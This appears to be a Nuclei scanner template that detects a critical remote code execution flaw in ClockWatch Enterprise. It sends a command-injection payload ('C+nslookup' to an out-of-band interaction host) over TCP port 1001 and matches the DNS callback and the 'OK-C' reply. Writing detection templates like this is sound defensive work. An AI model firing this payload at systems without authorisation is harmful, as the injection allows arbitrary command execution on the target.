id: clockwatch-enterprise-rce

info:
  name: ClockWatch Enterprise - Remote Code Execution
  author: gy741
  severity: critical
  description: |
    ClockWatch Enterprise is susceptible to remote code execution.
  reference:
    - https://blog.grimm-co.com/2021/07/old-dog-same-tricks.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-77
  metadata:
    max-request: 1
  tags: clockwatch,rce,network,tcp,vuln

tcp:
  - inputs:
      - data: "C+nslookup {{interactsh-url}}"

    host:
      - "{{Hostname}}"
    port: 1001

    matchers-condition: and
    matchers:

      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        words:
          - "OK-C"
# digest: 4a0a00473045022100be644e4cc2c4aa72a3f138100895511b534ee39a52921b11b7c76bc7f2571bf902204925e2e61e28ff7804871880ee46e0f409fdae66b2b6738f0adc460394826b70:922c64590222798bb761d5b6d8e72950